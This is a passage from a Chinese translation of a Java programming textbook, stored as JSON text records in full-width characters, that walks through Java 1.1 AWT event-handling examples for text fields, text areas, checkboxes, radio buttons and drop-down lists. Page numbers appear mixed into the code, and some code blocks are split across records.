    {"text": "会变成： ａＦｒａｍｅ．ａｄｄＷｉｎｄｏｗＬｉｓｔｅｎｅｒ（ ｎｅｗ ＷｉｎｄｏｗＡｄａｐｔｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＣｌｏｓｉｎｇ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ） ｛ Ｓｙｓｔｅｍ．ｅｘｉｔ（０）；"},
    {"text": "每当我们编译程序，我会用这行代码打包它到一个 ＪＡＲ 文件： ｊａｒ ｃｆ Ｂｕｔｔｏｎ２ＮｅｗＢ．ｊａｒ ＊．ｃｌａｓｓ 这是假定只有一个类文件在当前目录中，其中之一来自 Ｂｕｔｔｏｎ２ＮｅｗＢ．ｊａｖａ（否则我们会得到特别的打包）。"},
    {"text": "现在我们可以创建一个使用新文件标签来指定 ＪＡＲ 文件的 ＨＴＭＬ 页，如下所示： ＜ｈｅａｄ＞＜ｔｉｔｌｅ＞Ｂｕｔｔｏｎ２ＮｅｗＢ Ｅｘａｍｐｌｅ Ａｐｐｌｅｔ ＜／ｔｉｔｌｅ＞＜／ｈｅａｄ＞ ＜ｂｏｄｙ＞ ４１５ ＜ａｐｐｌｅｔ ｃｏｄｅ＝＂Ｂｕｔｔｏｎ２ＮｅｗＢ．ｃｌａｓｓ＂ ａｒｃｈｉｖｅ＝＂Ｂｕｔｔｏｎ２ＮｅｗＢ．ｊａｒ＂ ｗｉｄｔｈ＝２００ ｈｅｉｇｈｔ＝１５０＞ ＜／ａｐｐｌｅｔ＞ ＜／ｂｏｄｙ＞ 与 ＨＴＭＬ 文件中的程序片标记有关的其他任何内容都保持不变。"},
    {"text": "１ ３ ． １ ６ ． ４ 再研究一下以前的例子 为注意到一些利用新事件模型的例子和为学习程序从老到新事件模型改变的方法，下面的例子回到在本章第 一部分利用事件模型来证明的一些争议。"},
    {"text": "１． 文本字段 这个例子同 ＴｅｘｔＦｉｅｌｄ１．ｊａｖａ 相似，但它增加了显然额外的行为： ／／： ＴｅｘｔＮｅｗ．ｊａｖａ ／／ Ｔｅｘｔ ｆｉｅｌｄｓ ｗｉｔｈ Ｊａｖａ １．１ ｅｖｅｎｔｓ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．ｅｖｅｎｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｐｐｌｅｔ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＴｅｘｔＮｅｗ ｅｘｔｅｎｄｓ Ａｐｐｌｅｔ ｛ Ｂｕｔｔｏｎ ｂ１ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｇｅｔ Ｔｅｘｔ＂）， ｂ２ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｓｅｔ Ｔｅｘｔ＂）； ＴｅｘｔＦｉｅｌｄ ｔ１ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（３０）， ｔ２ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（３０）， ｔ３ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（３０）； Ｓｔｒｉｎｇ ｓ ＝ ｎｅｗ Ｓｔｒｉｎｇ（）； ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｉｔ（） ｛ ｂ１．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ Ｂ１（））； ｂ２．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ Ｂ２（））； ｔ１．ａｄｄＴｅｘｔＬｉｓｔｅｎｅｒ（ｎｅｗ Ｔ１（））； ｔ１．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ Ｔ１Ａ（））； ｔ１．ａｄｄＫｅｙＬｉｓｔｅｎｅｒ（ｎｅｗ Ｔ１Ｋ（））； ａｄｄ（ｂ１）； ａｄｄ（ｂ２）； ａｄｄ（ｔ１）； ａｄｄ（ｔ２）； ａｄｄ（ｔ３）；"},
    {"text": "｝ ｃｌａｓｓ Ｔ１ ｉｍｐｌｅｍｅｎｔｓ ＴｅｘｔＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｔｅｘｔＶａｌｕｅＣｈａｎｇｅｄ（ＴｅｘｔＥｖｅｎｔ ｅ） ｛ ｔ２．ｓｅｔＴｅｘｔ（ｔ１．ｇｅｔＴｅｘｔ（））； ｝ ｝ ｃｌａｓｓ Ｔ１Ａ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｒｉｖａｔｅ ｉｎｔ ｃｏｕｎｔ ＝ ０； ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ｔ３．ｓｅｔＴｅｘｔ（＂ｔ１ Ａｃｔｉｏｎ Ｅｖｅｎｔ ＂ ＋ ｃｏｕｎｔ＋＋）； ４１６ ｝ ｝ ｃｌａｓｓ Ｔ１Ｋ ｅｘｔｅｎｄｓ ＫｅｙＡｄａｐｔｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｋｅｙＴｙｐｅｄ（ＫｅｙＥｖｅｎｔ ｅ） ｛ Ｓｔｒｉｎｇ ｔｓ ＝ ｔ１．ｇｅｔＴｅｘｔ（）； ｉｆ（ｅ．ｇｅｔＫｅｙＣｈａｒ（） ＝＝ ＫｅｙＥｖｅｎｔ．ＶＫ＿ＢＡＣＫ＿ＳＰＡＣＥ） ｛ ／／ Ｅｎｓｕｒｅ ｉｔ＇ｓ ｎｏｔ ｅｍｐｔｙ： ｉｆ（ ｔｓ．ｌｅｎｇｔｈ（） ＞ ０） ｛ ｔｓ ＝ ｔｓ．ｓｕｂｓｔｒｉｎｇ（０， ｔｓ．ｌｅｎｇｔｈ（） － １）； ｔ１．ｓｅｔＴｅｘｔ（ｔｓ）； ｝ ｝ ｅｌｓｅ ｔ１．ｓｅｔＴｅｘｔ（ ｔ１．ｇｅｔＴｅｘｔ（） ＋ Ｃｈａｒａｃｔｅｒ．ｔｏＵｐｐｅｒＣａｓｅ（ ｅ．ｇｅｔＫｅｙＣｈａｒ（）））； ｔ１．ｓｅｔＣａｒｅｔＰｏｓｉｔｉｏｎ（ ｔ１．ｇｅｔＴｅｘｔ（）．ｌｅｎｇｔｈ（））； ／／ Ｓｔｏｐ ｒｅｇｕｌａｒ ｃｈａｒａｃｔｅｒ ｆｒｏｍ ａｐｐｅａｒｉｎｇ： ｅ．ｃｏｎｓｕｍｅ（）； ｝ ｝ ｃｌａｓｓ Ｂ１ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ｓ ＝ ｔ１．ｇｅｔＳｅｌｅｃｔｅｄＴｅｘｔ（）； ｉｆ（ｓ．ｌｅｎｇｔｈ（） ＝＝ ０） ｓ ＝ ｔ１．ｇｅｔＴｅｘｔ（）； ｔ１．ｓｅｔＥｄｉｔａｂｌｅ（ｔｒｕｅ）； ｝ ｝ ｃｌａｓｓ Ｂ２ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ｔ１．ｓｅｔＴｅｘｔ（＂Ｉｎｓｅｒｔｅｄ ｂｙ Ｂｕｔｔｏｎ ２： ＂ ＋ ｓ）； ｔ１．ｓｅｔＥｄｉｔａｂｌｅ（ｆａｌｓｅ）； ｝ ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ＴｅｘｔＮｅｗ ａｐｐｌｅｔ ＝ ｎｅｗ ＴｅｘｔＮｅｗ（）； Ｆｒａｍｅ ａＦｒａｍｅ ＝ ｎｅｗ Ｆｒａｍｅ（＂ＴｅｘｔＮｅｗ＂）； ａＦｒａｍｅ．ａｄｄＷｉｎｄｏｗＬｉｓｔｅｎｅｒ（ ｎｅｗ ＷｉｎｄｏｗＡｄａｐｔｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＣｌｏｓｉｎｇ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ） ｛ Ｓｙｓｔｅｍ．ｅｘｉｔ（０）；"},
    {"text": "ａＦｒａｍｅ．ａｄｄ（ａｐｐｌｅｔ， ＢｏｒｄｅｒＬａｙｏｕｔ．ＣＥＮＴＥＲ）； ａＦｒａｍｅ．ｓｅｔＳｉｚｅ（３００，２００）； ａｐｐｌｅｔ．ｉｎｉｔ（）； ａｐｐｌｅｔ．ｓｔａｒｔ（）； ａＦｒａｍｅ．ｓｅｔＶｉｓｉｂｌｅ（ｔｒｕｅ）；"},
    {"text": "Ｔ１ 接收器从 ｔ１ 复制所有文字到 ｔ２，强制所有字符串转换成大写。 我们会发 现这两个工作同是进行的，并且如果我们增加 Ｔ１Ｋ 接收器后我们再增加 Ｔ１ 接收器，它就不那么重要：在文字 字段内的所有的字符串将一直被强制变为大写。"},
    {"text": "注意下面的内部类： ｃｌａｓｓ Ｔ１ ｉｍｐｌｅｍｅｎｔｓ ＴｅｘｔＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｔｅｘｔＶａｌｕｅＣｈａｎｇｅｄ（ＴｅｘｔＥｖｅｎｔ ｅ） ｛ ｔ２．ｓｅｔＴｅｘｔ（ｔ１．ｇｅｔＴｅｘｔ（））；"},
    {"text": "这个例子更正了前面 Ｊａｖａ １．０ 版 ＴｅｘｔＡｒｅａ１．ｊａｖａ 程序片，演示了 Ｊａｖａ １．１ 版的滚动条构建器： ／／： ＴｅｘｔＡｒｅａＮｅｗ．ｊａｖａ ／／ Ｃｏｎｔｒｏｌｌｉｎｇ ｓｃｒｏｌｌｂａｒｓ ｗｉｔｈ ｔｈｅ ＴｅｘｔＡｒｅａ ／／ ｃｏｍｐｏｎｅｎｔ ｉｎ Ｊａｖａ １．１ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．ｅｖｅｎｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｐｐｌｅｔ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＴｅｘｔＡｒｅａＮｅｗ ｅｘｔｅｎｄｓ Ａｐｐｌｅｔ ｛ Ｂｕｔｔｏｎ ｂ１ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｔｅｘｔ Ａｒｅａ １＂）； Ｂｕｔｔｏｎ ｂ２ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｔｅｘｔ Ａｒｅａ ２＂）； Ｂｕｔｔｏｎ ｂ３ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｒｅｐｌａｃｅ Ｔｅｘｔ＂）； Ｂｕｔｔｏｎ ｂ４ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｉｎｓｅｒｔ Ｔｅｘｔ＂）； ＴｅｘｔＡｒｅａ ｔ１ ＝ ｎｅｗ ＴｅｘｔＡｒｅａ（＂ｔ１＂， １， ３０）； ＴｅｘｔＡｒｅａ ｔ２ ＝ ｎｅｗ ＴｅｘｔＡｒｅａ（＂ｔ２＂， ４， ３０）； ＴｅｘｔＡｒｅａ ｔ３ ＝ ｎｅｗ ＴｅｘｔＡｒｅａ（＂ｔ３＂， １， ３０， ＴｅｘｔＡｒｅａ．ＳＣＲＯＬＬＢＡＲＳ＿ＮＯＮＥ）； ＴｅｘｔＡｒｅａ ｔ４ ＝ ｎｅｗ ＴｅｘｔＡｒｅａ（＂ｔ４＂， １０， １０， ＴｅｘｔＡｒｅａ．ＳＣＲＯＬＬＢＡＲＳ＿ＶＥＲＴＩＣＡＬ＿ＯＮＬＹ）； ＴｅｘｔＡｒｅａ ｔ５ ＝ ｎｅｗ ＴｅｘｔＡｒｅａ（＂ｔ５＂， ４， ３０， ＴｅｘｔＡｒｅａ．ＳＣＲＯＬＬＢＡＲＳ＿ＨＯＲＩＺＯＮＴＡＬ＿ＯＮＬＹ）； ＴｅｘｔＡｒｅａ ｔ６ ＝ ｎｅｗ ＴｅｘｔＡｒｅａ（＂ｔ６＂， １０， １０， ４１８ ＴｅｘｔＡｒｅａ．ＳＣＲＯＬＬＢＡＲＳ＿ＢＯＴＨ）； ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｉｔ（） ｛ ｂ１．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ Ｂ１Ｌ（））； ａｄｄ（ｂ１）； ａｄｄ（ｔ１）； ｂ２．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ Ｂ２Ｌ（））； ａｄｄ（ｂ２）； ａｄｄ（ｔ２）； ｂ３．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ Ｂ３Ｌ（））； ａｄｄ（ｂ３）； ｂ４．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ Ｂ４Ｌ（））； ａｄｄ（ｂ４）； ａｄｄ（ｔ３）； ａｄｄ（ｔ４）； ａｄｄ（ｔ５）； ａｄｄ（ｔ６）；"},
    {"text": "｝ ｃｌａｓｓ Ｂ１Ｌ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ｔ５．ａｐｐｅｎｄ（ｔ１．ｇｅｔＴｅｘｔ（） ＋ ＂＼ｎ＂）； ｝ ｝ ｃｌａｓｓ Ｂ２Ｌ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ｔ２．ｓｅｔＴｅｘｔ（＂Ｉｎｓｅｒｔｅｄ ｂｙ Ｂｕｔｔｏｎ ２＂）； ｔ２．ａｐｐｅｎｄ（＂： ＂ ＋ ｔ１．ｇｅｔＴｅｘｔ（））； ｔ５．ａｐｐｅｎｄ（ｔ２．ｇｅｔＴｅｘｔ（） ＋ ＂＼ｎ＂）； ｝ ｝ ｃｌａｓｓ Ｂ３Ｌ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ Ｓｔｒｉｎｇ ｓ ＝ ＂ Ｒｅｐｌａｃｅｍｅｎｔ ＂； ｔ２．ｒｅｐｌａｃｅＲａｎｇｅ（ｓ， ３， ３ ＋ ｓ．ｌｅｎｇｔｈ（））； ｝ ｝ ｃｌａｓｓ Ｂ４Ｌ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ｔ２．ｉｎｓｅｒｔ（＂ Ｉｎｓｅｒｔｅｄ ＂， １０）； ｝ ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ＴｅｘｔＡｒｅａＮｅｗ ａｐｐｌｅｔ ＝ ｎｅｗ ＴｅｘｔＡｒｅａＮｅｗ（）； Ｆｒａｍｅ ａＦｒａｍｅ ＝ ｎｅｗ Ｆｒａｍｅ（＂ＴｅｘｔＡｒｅａＮｅｗ＂）； ａＦｒａｍｅ．ａｄｄＷｉｎｄｏｗＬｉｓｔｅｎｅｒ（ ｎｅｗ ＷｉｎｄｏｗＡｄａｐｔｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＣｌｏｓｉｎｇ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ） ｛ Ｓｙｓｔｅｍ．ｅｘｉｔ（０）；"},
    {"text": "ａＦｒａｍｅ．ａｄｄ（ａｐｐｌｅｔ， ＢｏｒｄｅｒＬａｙｏｕｔ．ＣＥＮＴＥＲ）； ａＦｒａｍｅ．ｓｅｔＳｉｚｅ（３００，７２５）； ａｐｐｌｅｔ．ｉｎｉｔ（）； ａｐｐｌｅｔ．ｓｔａｒｔ（）； ａＦｒａｍｅ．ｓｅｔＶｉｓｉｂｌｅ（ｔｒｕｅ）；"},
    {"text": "我们可以创建一个新的内部类去为每个复选框处 理事件，或者创建一个内部类判断哪个复选框被单击并注册一个内部类单独的对象为每个复选对象。"},
    {"text": "下面的 例子演示了两种方法： ／／： ＲａｄｉｏＣｈｅｃｋＮｅｗ．ｊａｖａ ／／ Ｒａｄｉｏ ｂｕｔｔｏｎｓ ａｎｄ Ｃｈｅｃｋ Ｂｏｘｅｓ ｉｎ Ｊａｖａ １．１ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．ｅｖｅｎｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｐｐｌｅｔ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＲａｄｉｏＣｈｅｃｋＮｅｗ ｅｘｔｅｎｄｓ Ａｐｐｌｅｔ ｛ ＴｅｘｔＦｉｅｌｄ ｔ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（３０）； Ｃｈｅｃｋｂｏｘ［］ ｃｂ ＝ ｛ ｎｅｗ Ｃｈｅｃｋｂｏｘ（＂Ｃｈｅｃｋ Ｂｏｘ １＂）， ｎｅｗ Ｃｈｅｃｋｂｏｘ（＂Ｃｈｅｃｋ Ｂｏｘ ２＂）， ｎｅｗ Ｃｈｅｃｋｂｏｘ（＂Ｃｈｅｃｋ Ｂｏｘ ３＂） ｝； ＣｈｅｃｋｂｏｘＧｒｏｕｐ ｇ ＝ ｎｅｗ ＣｈｅｃｋｂｏｘＧｒｏｕｐ（）； Ｃｈｅｃｋｂｏｘ ｃｂ４ ＝ ｎｅｗ Ｃｈｅｃｋｂｏｘ（＂ｆｏｕｒ＂， ｇ， ｆａｌｓｅ）， ｃｂ５ ＝ ｎｅｗ Ｃｈｅｃｋｂｏｘ（＂ｆｉｖｅ＂， ｇ， ｔｒｕｅ）， ｃｂ６ ＝ ｎｅｗ Ｃｈｅｃｋｂｏｘ（＂ｓｉｘ＂， ｇ， ｆａｌｓｅ）； ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｉｔ（） ｛ ｔ．ｓｅｔＥｄｉｔａｂｌｅ（ｆａｌｓｅ）； ａｄｄ（ｔ）； ＩＬＣｈｅｃｋ ｉｌ ＝ ｎｅｗ ＩＬＣｈｅｃｋ（）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｃｂ．ｌｅｎｇｔｈ； ｉ＋＋） ｛ ｃｂ［ｉ］．ａｄｄＩｔｅｍＬｉｓｔｅｎｅｒ（ｉｌ）； ａｄｄ（ｃｂ［ｉ］）； ｝ ｃｂ４．ａｄｄＩｔｅｍＬｉｓｔｅｎｅｒ（ｎｅｗ ＩＬ４（））； ｃｂ５．ａｄｄＩｔｅｍＬｉｓｔｅｎｅｒ（ｎｅｗ ＩＬ５（））； ｃｂ６．ａｄｄＩｔｅｍＬｉｓｔｅｎｅｒ（ｎｅｗ ＩＬ６（））； ａｄｄ（ｃｂ４）； ａｄｄ（ｃｂ５）； ａｄｄ（ｃｂ６）；"},
    {"text": "｝ ／／ Ｃｈｅｃｋｉｎｇ ｔｈｅ ｓｏｕｒｃｅ： ｃｌａｓｓ ＩＬＣｈｅｃｋ ｉｍｐｌｅｍｅｎｔｓ ＩｔｅｍＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｉｔｅｍＳｔａｔｅＣｈａｎｇｅｄ（ＩｔｅｍＥｖｅｎｔ ｅ） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｃｂ．ｌｅｎｇｔｈ； ｉ＋＋） ｛ ｉｆ（ｅ．ｇｅｔＳｏｕｒｃｅ（）．ｅｑｕａｌｓ（ｃｂ［ｉ］）） ｛ ｔ．ｓｅｔＴｅｘｔ（＂Ｃｈｅｃｋ ｂｏｘ ＂ ＋ （ｉ ＋ １））； ｒｅｔｕｒｎ； ｝ ｝ ４２０ ｝ ｝ ／／ ｖｓ． ａｎ ｉｎｄｉｖｉｄｕａｌ ｃｌａｓｓ ｆｏｒ ｅａｃｈ ｉｔｅｍ： ｃｌａｓｓ ＩＬ４ ｉｍｐｌｅｍｅｎｔｓ ＩｔｅｍＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｉｔｅｍＳｔａｔｅＣｈａｎｇｅｄ（ＩｔｅｍＥｖｅｎｔ ｅ） ｛ ｔ．ｓｅｔＴｅｘｔ（＂Ｒａｄｉｏ ｂｕｔｔｏｎ ｆｏｕｒ＂）； ｝ ｝ ｃｌａｓｓ ＩＬ５ ｉｍｐｌｅｍｅｎｔｓ ＩｔｅｍＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｉｔｅｍＳｔａｔｅＣｈａｎｇｅｄ（ＩｔｅｍＥｖｅｎｔ ｅ） ｛ ｔ．ｓｅｔＴｅｘｔ（＂Ｒａｄｉｏ ｂｕｔｔｏｎ ｆｉｖｅ＂）； ｝ ｝ ｃｌａｓｓ ＩＬ６ ｉｍｐｌｅｍｅｎｔｓ ＩｔｅｍＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｉｔｅｍＳｔａｔｅＣｈａｎｇｅｄ（ＩｔｅｍＥｖｅｎｔ ｅ） ｛ ｔ．ｓｅｔＴｅｘｔ（＂Ｒａｄｉｏ ｂｕｔｔｏｎ ｓｉｘ＂）； ｝ ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ＲａｄｉｏＣｈｅｃｋＮｅｗ ａｐｐｌｅｔ ＝ ｎｅｗ ＲａｄｉｏＣｈｅｃｋＮｅｗ（）； Ｆｒａｍｅ ａＦｒａｍｅ ＝ ｎｅｗ Ｆｒａｍｅ（＂ＲａｄｉｏＣｈｅｃｋＮｅｗ＂）； ａＦｒａｍｅ．ａｄｄＷｉｎｄｏｗＬｉｓｔｅｎｅｒ（ ｎｅｗ ＷｉｎｄｏｗＡｄａｐｔｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＣｌｏｓｉｎｇ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ） ｛ Ｓｙｓｔｅｍ．ｅｘｉｔ（０）；"},
    {"text": "ａＦｒａｍｅ．ａｄｄ（ａｐｐｌｅｔ， ＢｏｒｄｅｒＬａｙｏｕｔ．ＣＥＮＴＥＲ）； ａＦｒａｍｅ．ｓｅｔＳｉｚｅ（３００，２００）； ａｐｐｌｅｔ．ｉｎｉｔ（）； ａｐｐｌｅｔ．ｓｔａｒｔ（）； ａＦｒａｍｅ．ｓｅｔＶｉｓｉｂｌｅ（ｔｒｕｅ）；"},
    {"text": "４． 下拉列表 下拉列表在 Ｊａｖａ １．１ 版中当一个选择被改变时同样使用 ＩｔｅｍＬｉｓｔｅｎｅｒ 去告知我们： ／／： ＣｈｏｉｃｅＮｅｗ．ｊａｖａ ／／ Ｄｒｏｐ－ｄｏｗｎ ｌｉｓｔｓ ｗｉｔｈ Ｊａｖａ １．１ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ ＣｈｏｉｃｅＮｅｗ ｅｘｔｅｎｄｓ Ａｐｐｌｅｔ ｛ Ｓｔｒｉｎｇ［］ ｄｅｓｃｒｉｐｔｉｏｎ ＝ ｛ ＂Ｅｂｕｌｌｉｅｎｔ＂， ＂Ｏｂｔｕｓｅ＂， ＂Ｒｅｃａｌｃｉｔｒａｎｔ＂， ＂Ｂｒｉｌｌｉａｎｔ＂， ＂Ｓｏｍｎｅｓｃｅｎｔ＂， ＂Ｔｉｍｏｒｏｕｓ＂， ＂Ｆｌｏｒｉｄ＂， ＂Ｐｕｔｒｅｓｃｅｎｔ＂ ｝；"},
    {"text": "４２１ ＴｅｘｔＦｉｅｌｄ ｔ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（１００）； Ｃｈｏｉｃｅ ｃ ＝ ｎｅｗ Ｃｈｏｉｃｅ（）； Ｂｕｔｔｏｎ ｂ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ａｄｄ ｉｔｅｍｓ＂）； ｉｎｔ ｃｏｕｎｔ ＝ ０； ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｉｔ（） ｛ ｔ．ｓｅｔＥｄｉｔａｂｌｅ（ｆａｌｓｅ）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ４； ｉ＋＋） ｃ．ａｄｄＩｔｅｍ（ｄｅｓｃｒｉｐｔｉｏｎ［ｃｏｕｎｔ＋＋］）； ａｄｄ（ｔ）； ａｄｄ（ｃ）； ａｄｄ（ｂ）； ｃ．ａｄｄＩｔｅｍＬｉｓｔｅｎｅｒ（ｎｅｗ ＣＬ（））； ｂ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ ＢＬ（））； ｝ ｃｌａｓｓ ＣＬ ｉｍｐｌｅｍｅｎｔｓ ＩｔｅｍＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｉｔｅｍＳｔａｔｅＣｈａｎｇｅｄ（ＩｔｅｍＥｖｅｎｔ ｅ） ｛ ｔ．ｓｅｔＴｅｘｔ（＂ｉｎｄｅｘ： ＂ ＋ ｃ．ｇｅｔＳｅｌｅｃｔｅｄＩｎｄｅｘ（） ＋ ＂ ＂ ＋ ｅ．ｔｏＳｔｒｉｎｇ（））； ｝ ｝ ｃｌａｓｓ ＢＬ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ｉｆ（ｃｏｕｎｔ ＜ ｄｅｓｃｒｉｐｔｉｏｎ．ｌｅｎｇｔｈ） ｃ．ａｄｄＩｔｅｍ（ｄｅｓｃｒｉｐｔｉｏｎ［ｃｏｕｎｔ＋＋］）； ｝ ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ＣｈｏｉｃｅＮｅｗ ａｐｐｌｅｔ ＝ ｎｅｗ ＣｈｏｉｃｅＮｅｗ（）； Ｆｒａｍｅ ａＦｒａｍｅ ＝ ｎｅｗ Ｆｒａｍｅ（＂ＣｈｏｉｃｅＮｅｗ＂）； ａＦｒａｍｅ．ａｄｄＷｉｎｄｏｗＬｉｓｔｅｎｅｒ（ ｎｅｗ ＷｉｎｄｏｗＡｄａｐｔｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＣｌｏｓｉｎｇ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ） ｛ Ｓｙｓｔｅｍ．ｅｘｉｔ（０）；"},
    {"text": "ａＦｒａｍｅ．ａｄｄ（ａｐｐｌｅｔ， ＢｏｒｄｅｒＬａｙｏｕｔ．ＣＥＮＴＥＲ）； ａＦｒａｍｅ．ｓｅｔＳｉｚｅ（７５０，１００）； ａｐｐｌｅｔ．ｉｎｉｔ（）； ａｐｐｌｅｔ．ｓｔａｒｔ（）； ａＦｒａｍｅ．ｓｅｔＶｉｓｉｂｌｅ（ｔｒｕｅ）；"},
    {"text": "５． 列表 我们消除了 Ｊａｖａ １．０ 中 Ｌｉｓｔ 设计的一个缺陷，就是 Ｌｉｓｔ 不能像我们希望的那样工作：它会与单击在一个列 表元素上发生冲突。"},
